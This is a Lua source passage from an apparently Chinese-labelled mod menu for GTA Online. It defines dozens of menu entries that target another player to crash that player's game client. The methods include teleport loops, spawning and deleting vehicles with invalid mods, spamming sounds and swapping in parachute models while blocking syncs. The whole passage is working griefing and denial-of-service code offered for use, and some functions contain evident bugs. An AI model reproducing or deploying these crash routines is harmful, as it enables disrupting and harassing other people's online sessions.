GTAC(qttacrash,"Kiddions崩溃", {"kiddionscrash"}, "", function()
    if pid ~= players.user() then
    menu.trigger_commands("flashcrash" .. PLAYER.GET_PLAYER_NAME(PlayerID))
    wait()
    util.toast("发送给 " .. players.get_name(PlayerID))
    util.log("发送给 " .. players.get_name(PlayerID))
    end
end)


    local hostcrashs = GT(PlayerMainMenu, "主机崩溃", {}, "")

    GTAC(hostcrashs, "主机崩溃V1", {""}, "",function(PlayerID)
    local deathpos = v3(-16257.853, 10793.688, 893.610)
    local pedp  = players.user_ped(players.user(PlayerID))
    local mypos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    ENTITY.FREEZE_ENTITY_POSITION(pedp,true)
    ENTITY.GET_ENTITY_COORDS(pedp, deathpos)
    wait(1000)
    ENTITY.FREEZE_ENTITY_POSITION(pedp,false)
    ENTITY.GET_ENTITY_COORDS(pedp,mypos)
    util.toast("主机崩溃完成",5,61000)	
    end)

    local coords_crash = true
    GTAC(hostcrashs, "主机崩溃V2", {""}, "", function(on)
    local Coords = {v3(-16257.853, 10793.688, 893.610)}
        coords_crash = on
        if not NETWORK.NETWORK_IS_HOST() then
            menu.trigger_commands("spectate" ..  players.get_name(PlayerID).. " on")
                    while coords_crash do
                        for key, pos in pairs(Coords) do
                            for i = 1, 20, 1 do
                                ENTITY.SET_ENTITY_COORDS_NO_OFFSET(players.user_ped(PlayerID),pos.x, pos.y, pos.z)
                                wait(0)
                            end
                        end
                    end
                end
            menu.trigger_commands("spectate" ..  players.get_name(PlayerID).. " off")
    end)

    GTAC(hostcrashs, "主机崩溃V3", {}, "", function(PlayerID)
        hostcrash(PlayerID)
    end)

    local coords_crash = true
    GTTG(hostcrashs, "主机崩溃V4", {""}, "", function(on)
    local Coords = {
        v3(-16257, 10793, 893),
        v3(-6170,10837,40),
        v3(-1336, -3044, 13),
        v3(10837, -6170, 39),
        }
        coords_crash = on
        if not NETWORK.NETWORK_IS_HOST() then
            menu.trigger_commands("spectate" ..  players.get_name(PlayerID).. " on")
                while coords_crash do
                    for key, pos in pairs(Coords) do
                        for i = 1, 20, 1 do
                            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(players.user_ped(PlayerID),pos.x, pos.y, pos.z)
                            wait(0)
                        end
                    end
                end
            end
        menu.trigger_commands("spectate" ..  players.get_name(PlayerID).. " off")
    end)

    GTAC(hostcrashs, "主机崩溃V5", {""}, "", function()
        notification("开始崩溃", colors.pink)
        local self_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
        ENTITY.SET_ENTITY_COORDS(self_ped, -6170, 10837, 40, true, false, false)
        wait(1000)
        ENTITY.SET_ENTITY_COORDS(self_ped, -18, 708, 243, true, false, false)
        wait(1000)
        ENTITY.SET_ENTITY_COORDS(self_ped, -74, 100, 174, true, false, false)
        wait(1000)
        ENTITY.SET_ENTITY_COORDS(self_ped, -101, 100, 374, true, false, false)
        wait(1000)
        ENTITY.SET_ENTITY_COORDS(self_ped, -6170, 10837, 40, true, false, false)
        wait(900)
        ENTITY.SET_ENTITY_COORDS(self_ped, -18, 708, 243, true, false, false)
        wait(900)
        ENTITY.SET_ENTITY_COORDS(self_ped, -74, 100, 174, true, false, false)
        wait(900)
        ENTITY.SET_ENTITY_COORDS(self_ped, -101, 100, 374, true, false, false)
        wait(1000)
        menu.trigger_commands("tpmtchiliad")
        notification("结束崩溃 ", colors.pink)
    end)

GTAC(hostcrashs,"主机崩溃V6",{},"",function()
    util.toast("主机崩溃"..PLAYER.GET_PLAYER_NAME(PlayerID),1)
    playerx = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(players.user()))
    ENTITY.SET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(players.user()),-6170,10837,39)
    wait(700)
    ENTITY.SET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(players.user()),0,0,39)
    wait(700)
    ENTITY.SET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(players.user()),2457,-8457,59)
    wait(700)
    ENTITY.SET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(players.user()),0,0,39)
    wait(700)
    ENTITY.SET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(players.user()),2457,-8457,59)
    wait(700)
    ENTITY.SET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(players.user()),0,0,39)
    wait(700)
    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(PLAYER.GET_PLAYER_PED(players.user()),playerx.x,playerx.y,playerx.z)
    end)
local invalidclothes = menu.list(PlayerMainMenu, "无效载具崩溃", {}, "")

function clone(vehicle)
    local vehicleHeading<const> = ENTITY.GET_ENTITY_HEADING(vehicle)
    local vehicleHash<const> = ENTITY.GET_ENTITY_MODEL(vehicle)
    local coords = ENTITY.GET_ENTITY_COORDS(vehicle)
    ENTITY.SET_ENTITY_AS_MISSION_ENTITY(vehicle)
    local rot = v3.toDir(ENTITY.GET_ENTITY_ROTATION(vehicle, 2))
    v3.mul(rot, -getDimensions(vehicle).x - 2)
    v3.add(coords, rot)
    local cloneVehicle<const> = entities.create_vehicle(vehicleHash, coords, vehicleHeading)
    copyVehicleData(vehicle, cloneVehicle)
    return cloneVehicle
end
local minimum<const> = memory.alloc()
local maximum<const> = memory.alloc()
function getDimensions(entity)
    MISC.GET_MODEL_DIMENSIONS(ENTITY.GET_ENTITY_MODEL(entity), minimum, maximum)
    local minimum_vec<const> = v3.new(minimum)
    local maximum_vec<const> = v3.new(maximum)
    local dimensions<const> = {
        x = maximum_vec.y - minimum_vec.y,
        y = maximum_vec.x - minimum_vec.x,
        z = maximum_vec.z - minimum_vec.z
    }
    return dimensions
end
local colorR, colorG, colorB = memory.alloc(1), memory.alloc(1), memory.alloc(1)
function copyVehicleData(vehicle, cloneVehicle)
    VEHICLE.SET_VEHICLE_MOD_KIT(cloneVehicle, 0)
    for i = 17, 22 do
        VEHICLE.TOGGLE_VEHICLE_MOD(cloneVehicle, i, VEHICLE.IS_TOGGLE_MOD_ON(vehicle, i))
    end

    for i = 0, 49 do
        local modValue<const> = VEHICLE.GET_VEHICLE_MOD(vehicle, i)
        VEHICLE.SET_VEHICLE_MOD(cloneVehicle, i, modValue)
    end

    if VEHICLE.GET_IS_VEHICLE_PRIMARY_COLOUR_CUSTOM(vehicle) then
        VEHICLE.GET_VEHICLE_CUSTOM_PRIMARY_COLOUR(vehicle, colorR, colorG, colorB)
        VEHICLE.SET_VEHICLE_CUSTOM_PRIMARY_COLOUR(cloneVehicle, memory.read_ubyte(colorR), memory.read_ubyte(colorG), memory.read_ubyte(colorB))
    else
        VEHICLE.GET_VEHICLE_MOD_COLOR_1(vehicle, colorR, colorG, colorB)
        VEHICLE.SET_VEHICLE_MOD_COLOR_1(cloneVehicle, memory.read_ubyte(colorR), memory.read_ubyte(colorG), memory.read_ubyte(colorB))
    end

    if VEHICLE.GET_IS_VEHICLE_SECONDARY_COLOUR_CUSTOM(vehicle) then
        VEHICLE.GET_VEHICLE_CUSTOM_SECONDARY_COLOUR(vehicle, colorR, colorG, colorB)
        VEHICLE.SET_VEHICLE_CUSTOM_SECONDARY_COLOUR(cloneVehicle, memory.read_ubyte(colorR), memory.read_ubyte(colorG), memory.read_ubyte(colorB))
    else
        VEHICLE.GET_VEHICLE_MOD_COLOR_2(vehicle, colorR, colorG)
        VEHICLE.SET_VEHICLE_MOD_COLOR_2(cloneVehicle, memory.read_ubyte(colorR), memory.read_ubyte(colorG))
    end

    VEHICLE.GET_VEHICLE_COLOURS(vehicle, colorR, colorG)
    VEHICLE.SET_VEHICLE_COLOURS(cloneVehicle, memory.read_ubyte(colorR), memory.read_ubyte(colorG))

    VEHICLE.GET_VEHICLE_EXTRA_COLOURS(vehicle, colorR, colorG)
    VEHICLE.SET_VEHICLE_EXTRA_COLOURS(cloneVehicle, memory.read_ubyte(colorR), memory.read_ubyte(colorG))

    VEHICLE.GET_VEHICLE_EXTRA_COLOUR_5(vehicle, colorR) -- interior
    VEHICLE.GET_VEHICLE_EXTRA_COLOUR_6(vehicle, colorG)
    VEHICLE.SET_VEHICLE_EXTRA_COLOUR_5(cloneVehicle, memory.read_ubyte(colorR)) -- dashboard
    VEHICLE.SET_VEHICLE_EXTRA_COLOUR_6(cloneVehicle, memory.read_ubyte(colorG)) -- interior

    VEHICLE.GET_VEHICLE_TYRE_SMOKE_COLOR(vehicle, colorR, colorG, colorB)
    VEHICLE.SET_VEHICLE_TYRE_SMOKE_COLOR(cloneVehicle, memory.read_ubyte(colorR), memory.read_ubyte(colorG), memory.read_ubyte(colorB))

    VEHICLE.GET_VEHICLE_NEON_COLOUR(vehicle, colorR, colorG, colorB)
    VEHICLE.SET_VEHICLE_NEON_COLOUR(cloneVehicle, memory.read_ubyte(colorR), memory.read_ubyte(colorG), memory.read_ubyte(colorB))

    for i = 0, 3 do
        VEHICLE.SET_VEHICLE_NEON_ENABLED(cloneVehicle, i, VEHICLE.GET_VEHICLE_NEON_ENABLED(vehicle, i))
    end

    local windowTint<const> = VEHICLE.GET_VEHICLE_WINDOW_TINT(vehicle)
    VEHICLE.SET_VEHICLE_WINDOW_TINT(cloneVehicle, windowTint)

    local lightsColor<const> = VEHICLE.GET_VEHICLE_XENON_LIGHT_COLOR_INDEX(vehicle)
    VEHICLE.SET_VEHICLE_XENON_LIGHT_COLOR_INDEX(cloneVehicle, lightsColor)

    VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT_INDEX(cloneVehicle, VEHICLE.GET_VEHICLE_NUMBER_PLATE_TEXT_INDEX(vehicle))
    VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT(cloneVehicle, VEHICLE.GET_VEHICLE_NUMBER_PLATE_TEXT(vehicle))

    VEHICLE.SET_VEHICLE_TYRES_CAN_BURST(cloneVehicle, VEHICLE.GET_VEHICLE_TYRES_CAN_BURST(vehicle))
    VEHICLE.SET_VEHICLE_DIRT_LEVEL(cloneVehicle, VEHICLE.GET_VEHICLE_DIRT_LEVEL(vehicle))

    for i = 1, 14 do
        VEHICLE.SET_VEHICLE_EXTRA(cloneVehicle, i, not VEHICLE.IS_VEHICLE_EXTRA_TURNED_ON(vehicle, i))
    end

    local roofState<const> = VEHICLE.GET_CONVERTIBLE_ROOF_STATE(vehicle)
    if roofState == 1 or roofState == 2 then
        VEHICLE.LOWER_CONVERTIBLE_ROOF(cloneVehicle, true)
    end

    VEHICLE.SET_VEHICLE_ENGINE_ON(cloneVehicle, VEHICLE.GET_IS_VEHICLE_ENGINE_RUNNING(vehicle), true, true)
    end

    GTLP(invalidclothes, "无效载具崩溃V1", {"BadNet"}, "", function()
        local pCoords<const> = players.get_position(PlayerID)
        local trafficLights = {}

        util.request_model(-655644382) -- traffic lights
        for i = 1, 20 do
            local object<const> = entities.create_object(-655644382, v3.new(pCoords.x + math.random(-5, 5), pCoords.y + math.random(-5, 5), pCoords.z + math.random(-1, 0)))
            ENTITY.SET_ENTITY_ROTATION(object, 0, 0, math.random(0, 360), 1, true)
            trafficLights[#trafficLights + 1] = object
        end

        local stopLights = false

        util.create_tick_handler(function()
            if stopLights then
                return false
            end
            ENTITY.SET_ENTITY_TRAFFICLIGHT_OVERRIDE(trafficLights[math.random(1, #trafficLights)], math.random(0, 3))
        end)

        util.request_model(3253274834) -- buffalo
        local vehicles = {}
        local crashVehicle<const> = entities.create_vehicle(3253274834, pCoords, 0)
        vehicles[#vehicles + 1] = crashVehicle
        VEHICLE.SET_VEHICLE_MOD_KIT(crashVehicle, 0)
        --VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT(crashVehicle, "1314")
        VEHICLE.SET_VEHICLE_MOD(crashVehicle, 34, 3)
        for i = 1, 10 do
            vehicles[#vehicles + 1] = clone(crashVehicle)
        end

        wait(500)
        for i = 1, #vehicles do
            entities.delete_by_handle(vehicles[i])
        end

        wait(500)
        stopLights = true
        wait(500)
        for i = 1, #trafficLights do
            entities.delete_by_handle(trafficLights[i])
        end

        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(3253274834)
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(-655644382)
    end)

    GTLP(invalidclothes, "无效载具崩溃v2", {"BadNetV2"}, "", function()
        local ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
	local coords = ENTITY.GET_ENTITY_COORDS(ped)
	local model = util.joaat("banshee")
	request_model(model)
	local vehicle = entities.create_vehicle(model,coords,0)
	VEHICLE.SET_VEHICLE_MOD_KIT(vehicle, 0)
	ENTITY.SET_ENTITY_COLLISION(vehicle, false, true)
	VEHICLE.SET_VEHICLE_GRAVITY(vehicle, 0)
	for i=0, 49 do
		local max_mod = VEHICLE.GET_NUM_VEHICLE_MODS(vehicle, i)-1
		VEHICLE.SET_VEHICLE_MOD(vehicle, i, max_mod, false)
	end
	notification("发送实体崩溃")
    wait(100)
	notification("崩溃完成")
end)

    GTLP(invalidclothes, "无效载具崩溃v3", {"BadNetV3"}, "", function ()
        BadNetVehicleCrash(PlayerID)
    end)

    GTLP(invalidclothes, "无效载具崩溃v4", {"BadNetV4"}, "", function ()
       BadOutfitCrashV2(PlayerID)
    end)

    GTLP(invalidclothes, "无效载具崩溃v5", {"BadNetV5"}, "", function()
        BadNetVehicleCrashV2(PlayerID)
    end)

	GTLP(invalidclothes, "无效载具崩溃v6", {"BadNetV6"}, "", function()
	      local TPP = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(PlayerID)
		  local pos = ENTITY.GET_ENTITY_COORDS(TPP, true)
		  pos.z = pos.z + 5
		  veh = entities.get_all_vehicles_as_handles()
		  
        for i = 1, #veh do
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh[i])
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(veh[i], pos.x,pos.y,pos.z, ENTITY.GET_ENTITY_HEADING(TPP), 10)
        TASK.TASK_VEHICLE_TEMP_ACTION(TPP, veh[i], 18, 999)
        TASK.TASK_VEHICLE_TEMP_ACTION(TPP, veh[i], 16, 999)
		end
	end)

   GTLP(invalidclothes, "无效载具崩溃v7", {"BadNetV7"}, "", function()
        local stupid_pos <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)) stupid_pos.z = stupid_pos.z + 1
        util.create_thread(function ()
            local mod_vel = {0x58f77553,0x1446590a}
                for _spawn, value in pairs(mod_vel) do
                    local s = {}
                    for i = 1, 7, 1 do  
                        s[_spawn] = CreateVehicle(value,stupid_pos,0)
                        ENTITY.SET_ENTITY_AS_MISSION_ENTITY(Entity, true, false)
                        wait(0)
                        end
                    end
                    wait(8000)
                    local ar_vs = entities.get_all_vehicles_as_handles()
                    for key, value in pairs(ar_vs) do
                    entities.delete_by_handle(value)
                end
            end,nil)
        end)

   GTAC(invalidclothes, "无效载具崩溃v8", {"BadNetV8"}, "", function()
        local stupid_pos <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID)) stupid_pos.x = stupid_pos.x + 3
        util.create_thread(function ()
            local sb_ped <const> = entities.create_ped(26,util.joaat("a_c_rat"),stupid_pos,0)
            local mod_vel = {0x9c5e5644}
            PED.SET_PED_INTO_VEHICLE(sb_ped,-1)
            PED.SET_PED_INTO_VEHICLE(players.user_ped(players.user()),crash_plane,-1)
                for _spawn, value in pairs(mod_vel) do
                    local s = {}
                    for i = 1, 10, 1 do  
                        s[_spawn] = CreateVehicle(value,stupid_pos,0)
                        ENTITY.SET_ENTITY_AS_MISSION_ENTITY(Entity, true, false)
                        wait(100)
                        end
                    end
                    wait()
                    local ar_vs = entities.get_all_vehicles_as_handles(sb_ped, value, 0)
                    for key, value in pairs(ar_vs) do
                    entities.delete_by_handle(value)
                end
            end,nil)
        end)

    GTAC(invalidclothes, "无效载具崩溃v9", {"BadNetV9"}, "", function(on_toggle)
        local hashes = {1492612435, 3517794615, 3889340782, 3253274834}
        local vehicles = {}
        for i = 1, 4 do
            util.create_thread(function()
                request_model(hashes[i])
                local pcoords = players.get_position(PlayerID)
                local veh =  VEHICLE.CREATE_VEHICLE(hashes[i], pcoords.x, pcoords.y, pcoords.z, math.random(0, 360), true, true, false)
                for a = 1, 20 do NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh) end
                VEHICLE.SET_VEHICLE_MOD_KIT(veh, 0)
                for j = 0, 49 do
                    local mod = VEHICLE.GET_NUM_VEHICLE_MODS(veh, j) - 1
                    VEHICLE.SET_VEHICLE_MOD(veh, j, mod, true)
                    VEHICLE.TOGGLE_VEHICLE_MOD(veh, mod, true)
                end
                for j = 0, 20 do
                    if VEHICLE.DOES_EXTRA_EXIST(veh, j) then VEHICLE.SET_VEHICLE_EXTRA(veh, j, true) end
                end
                VEHICLE.SET_VEHICLE_TYRES_CAN_BURST(veh, false)
                VEHICLE.SET_VEHICLE_WINDOW_TINT(veh, 1)
                VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT_INDEX(veh, 1)
                VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT(veh, " ")
                for ai = 1, 50 do
                    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
                    pcoords = players.get_position(PlayerID)
                    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(veh, pcoords.x, pcoords.y, pcoords.z, false, false, false)
                    wait()
                end
                vehicles[#vehicles+1] = veh
            end)
        end
        wait(2000)
        for _, v in pairs(vehicles) do
            NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(v)
            entities.delete_by_handle(v)
        end
    end)

GTAC(invalidclothes,"无效载具崩溃v10",{"BadNetV10"},"",function()
	pedp = players.user_ped(PlayerID)
    pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))
    dune = CreateVehicle(410882957,pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(dune)
    dune1 = CreateVehicle(2971866336,pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(dune1)
    barracks = CreateVehicle(3602674979,pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(barracks)
    barracks1 = CreateVehicle(444583674,pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(barracks1)
    dunecar = CreateVehicle(2971866336,pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(dunecar)
    dunecar1 = CreateVehicle(3602674979,pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(dunecar1)
    dunecar2 = CreateVehicle(444583674,pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(dunecar2)
    barracks3 = CreateVehicle(4244420235,pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(barracks3)
    barracks31 = CreateVehicle(3602674979,pos,0)
    ENTITY.SET_ENTITY_INVINCIBLE(barracks31)
    wait(5000)
    allvehs = entities.get_all_vehicles_as_handles()
	for i = 1, #allvehs  do
		vehhash = ENTITY.GET_ENTITY_MODEL(allvehs[i])
		if vehhash == 410882957 or vehhash == -42959138 or vehhash == 2971866336 or vehhash == 3602674979 or vehhash == 2025593404 or vehhash == -1323100960 or vehhash == 444583674 then
			entities.delete_by_handle(allvehs[i])
			wait(1)
		end
	end
end)

    GTLP(invalidclothes, "无效载具崩溃v11", {"BadNetV11"}, "", function(on_toggle)
        local hashes = {970385471, 2336777441, 184361638, 1030400667, 920453016, 240201337, 642617954, 586013744, 868868440, 1550581940, 3334677549, 3186376089}
        local vehicles = {}
        for i = 1, 4 do
            util.create_thread(function()
                request_model(hashes[i])
                local pcoords = getEntityCoords(getPlayerPed(PlayerID))
                local veh =  VEHICLE.CREATE_VEHICLE(hashes[i], pcoords.x, pcoords.y, pcoords.z, math.random(0, 360), true, true, false)
                ENTITY.ATTACH_ENTITY_TO_ENTITY(hashes[i], veh, pcoords, 0, 0, 0, 0, 0, 0, 0, 0, true, true, false, 0, true)
                for a = 1, 20 do NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh) end
                VEHICLE.SET_VEHICLE_MOD_KIT(veh, 0)
                for j = 0, 49 do
                    local mod = VEHICLE.GET_NUM_VEHICLE_MODS(veh, j) - 1 
                    VEHICLE.SET_VEHICLE_MOD(veh, j, mod, true)
                    VEHICLE.TOGGLE_VEHICLE_MOD(veh, mod, true)
                end
                for j = 0, 20 do
                    if VEHICLE.DOES_EXTRA_EXIST(veh, j) then VEHICLE.SET_VEHICLE_EXTRA(veh, j, true) end
                end
                VEHICLE.SET_VEHICLE_TYRES_CAN_BURST(veh, false)
                VEHICLE.SET_VEHICLE_WINDOW_TINT(veh, 1)
                VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT_INDEX(veh, 1)
                VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT(veh, " ")
                for ai = 1, 50 do
                    NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(veh)
                    pcoords = getEntityCoords(getPlayerPed(PlayerID))
                    ENTITY.SET_ENTITY_COORDS_NO_OFFSET(veh, pcoords.x, pcoords.y, pcoords.z, false, false, false)
    
                    wait()
                end
                vehicles[#vehicles+1] = veh
            end)
        end
        wait(100)
        for _, v in pairs(vehicles) do
            NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(v)
            entities.delete_by_handle(v)
            end
        end)

local soundcrashs = GT(PlayerMainMenu, "声音崩溃", {}, "")
    GTLP(soundcrashs, "声音崩溃", {"noisecrash"}, "", function()
         soundcrash_allV1(PlayerID)
    end)

    GTLP(soundcrashs, "声音崩溃V2", {"noisecrashv2"}, "", function(play_sound,PlayerID)
        local string_audioref = {
            "GTAO_FM_Events_Soundset",
            "MP_MISSION_COUNTDOWN_SOUNDSET"
        }
        local sound_names = {
            "Checkpoint_Cash_Hit",
            "Object_Dropped_Remote",
            "Event_Start_Text",
            "5s",
        }
        local time = util.current_time_millis() + 100
        local sounds_from_coords <const> = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(PlayerID))sounds_from_coords.z = sounds_from_coords.z + 3
        for spam, audios in pairs(sound_names) do
            for audioss, audioref in pairs(string_audioref) do
                while time > util.current_time_millis() do
                    for i = 1, 8, 1 do
                        AUDIO.PLAY_SOUND_FROM_COORD(-1, audios, sounds_from_coords.x,sounds_from_coords.y,sounds_from_coords.z, audioref,true, 100, true)
                   end
                   wait(0)
                end
            end
        end
    end)

local nmcrashes = GT(PlayerMainMenu, "大自然崩溃", {}, "")

    GTAC(nmcrashes, "大自然崩溃", {"Naturecrash"}, "", function()
        local user = PLAYER.GET_PLAYER_PED(players.user())
        local model = util.joaat("h4_yacht_refproxy")
        local pos = players.get_position(PlayerID)
        local oldPos = players.get_position(players.user())
        BlockSyncs(PlayerID, function()
            wait(100)
            ENTITY.SET_ENTITY_VISIBLE(user, false)
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(user, pos.x, pos.y, pos.z, false, false, false)
            PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user(), model)
            PED.SET_PED_COMPONENT_VARIATION(user, 5, 8, 0, 0)
            wait(500)
            PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user())
            wait(2500)
            TASK.CLEAR_PED_TASKS_IMMEDIATELY(user)
            for i = 1, 5 do
                util.spoof_script("freemode", SYSTEM.WAIT)
            end
            ENTITY.SET_ENTITY_HEALTH(user, 0)
            NETWORK.NETWORK_RESURRECT_LOCAL_PLAYER(oldPos.x, oldPos.y, oldPos.z, 0, false, false, 0)
            ENTITY.SET_ENTITY_VISIBLE(user, true)
        end)
    end)
    
    GTAC(nmcrashes, "大自然崩溃V2", {"Naturecrashv2"}, "", function()
        local user = PLAYER.GET_PLAYER_PED(players.user())
        local model = util.joaat("h4_yacht_refproxy001")
        local pos = players.get_position(PlayerID)
        local oldPos = players.get_position(players.user())
        BlockSyncs(PlayerID, function()
            wait(100)
            ENTITY.SET_ENTITY_VISIBLE(user, false)
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(user, pos.x, pos.y, pos.z, false, false, false)
            PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user(), model)
            PED.SET_PED_COMPONENT_VARIATION(user, 5, 8, 0, 0)
            wait(500)
            PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user())
            wait(2500)
            TASK.CLEAR_PED_TASKS_IMMEDIATELY(user)
            for i = 1, 5 do
                util.spoof_script("freemode", SYSTEM.WAIT)
            end
            ENTITY.SET_ENTITY_HEALTH(user, 0)
            NETWORK.NETWORK_RESURRECT_LOCAL_PLAYER(oldPos.x, oldPos.y, oldPos.z, 0, false, false, 0)
            ENTITY.SET_ENTITY_VISIBLE(user, true)
        end)
    end)
    
    GTAC(nmcrashes, "大自然崩溃V3", {"Naturecrashv3"}, "", function()
        local user = PLAYER.GET_PLAYER_PED(players.user())
        local model = util.joaat("h4_yacht_refproxy002")
        local pos = players.get_position(PlayerID)
        local oldPos = players.get_position(players.user())
        BlockSyncs(PlayerID, function()
            wait(100)
            ENTITY.SET_ENTITY_VISIBLE(user, false)
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(user, pos.x, pos.y, pos.z, false, false, false)
            PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user(), model)
            PED.SET_PED_COMPONENT_VARIATION(user, 5, 8, 0, 0)
            wait(500)
            PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user())
            wait(2500)
            TASK.CLEAR_PED_TASKS_IMMEDIATELY(user)
            for i = 1, 5 do
                util.spoof_script("freemode", SYSTEM.WAIT)
            end
            ENTITY.SET_ENTITY_HEALTH(user, 0)
            NETWORK.NETWORK_RESURRECT_LOCAL_PLAYER(oldPos.x, oldPos.y, oldPos.z, 0, false, false, 0)
            ENTITY.SET_ENTITY_VISIBLE(user, true)
        end)
    end)
    
    GTAC(nmcrashes, "大自然崩溃V4", {"Naturecrashv4"}, "", function()
        local user = PLAYER.GET_PLAYER_PED(players.user())
        local model = util.joaat("h4_mp_apa_yacht")
        local pos = players.get_position(PlayerID)
        local oldPos = players.get_position(players.user())
        BlockSyncs(PlayerID, function()
            wait(100)
            ENTITY.SET_ENTITY_VISIBLE(user, false)
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(user, pos.x, pos.y, pos.z, false, false, false)
            PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user(), model)
            PED.SET_PED_COMPONENT_VARIATION(user, 5, 8, 0, 0)
            wait(500)
            PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user())
            wait(2500)
            TASK.CLEAR_PED_TASKS_IMMEDIATELY(user)
            for i = 1, 5 do
                util.spoof_script("freemode", SYSTEM.WAIT)
            end
            ENTITY.SET_ENTITY_HEALTH(user, 0)
            NETWORK.NETWORK_RESURRECT_LOCAL_PLAYER(oldPos.x, oldPos.y, oldPos.z, 0, false, false, 0)
            ENTITY.SET_ENTITY_VISIBLE(user, true)
        end)
    end)
    
    GTAC(nmcrashes, "大自然崩溃V5", {"Naturecrashv5"}, "", function()
        local user = PLAYER.GET_PLAYER_PED(players.user())
        local model = util.joaat("h4_mp_apa_yacht_win")
        local pos = players.get_position(PlayerID)
        local oldPos = players.get_position(players.user())
        BlockSyncs(PlayerID, function()
            wait(100)
            ENTITY.SET_ENTITY_VISIBLE(user, false)
            ENTITY.SET_ENTITY_COORDS_NO_OFFSET(user, pos.x, pos.y, pos.z, false, false, false)
            PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user(), model)
            PED.SET_PED_COMPONENT_VARIATION(user, 5, 8, 0, 0)
            wait(500)
            PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user())
            wait(2500)
            TASK.CLEAR_PED_TASKS_IMMEDIATELY(user)
            for i = 1, 5 do
                util.spoof_script("freemode", SYSTEM.WAIT)
            end
            ENTITY.SET_ENTITY_HEALTH(user, 0)
            NETWORK.NETWORK_RESURRECT_LOCAL_PLAYER(oldPos.x, oldPos.y, oldPos.z, 0, false, false, 0)
            ENTITY.SET_ENTITY_VISIBLE(user, true)
        end)
    end)

    GTAC(nmcrashes, "大自然崩溃V6", {"Naturecrashv6"}, "", function()
        naturecrashv1(PlayerID)
    end)
    
    GTLP(nmcrashes, "大自然崩溃V7", {"Naturecrashv7"}, "", function()
        naturecrashv2(PlayerID)
    end)

GTAC(nmcrashes, "大自然崩溃V8", {"Naturecrashv8"}, "(A1:EA0FF6AD)", function()
    local user = PLAYER.GET_PLAYER_PED(players.user())
    local model = util.joaat("h4_yacht_refproxy")
    local pos = players.get_position(PlayerID)
    local oldPos = players.get_position(players.user())
    BlockSyncs(PlayerID, function()
        wait(100)
        ENTITY.SET_ENTITY_VISIBLE(user, false)
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(user, pos.x, pos.y, pos.z, false, false, false)
        PLAYER.SET_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user(), model)
        PED.SET_PED_COMPONENT_VARIATION(user, 5, 8, 0, 0)
        wait(500)
        PLAYER.CLEAR_PLAYER_PARACHUTE_PACK_MODEL_OVERRIDE(players.user())
        wait(2500)
        TASK.CLEAR_PED_TASKS_IMMEDIATELY(user)
        for i = 1, 5 do
            util.spoof_script("freemode", SYSTEM.WAIT)
        end
        ENTITY.SET_ENTITY_HEALTH(user, 0)
        NETWORK.NETWORK_RESURRECT_LOCAL_PLAYER(oldPos.x, oldPos.y, oldPos.z, 0, false, false, 0)
        ENTITY.SET_ENTITY_VISIBLE(user, true)
    end)
end)

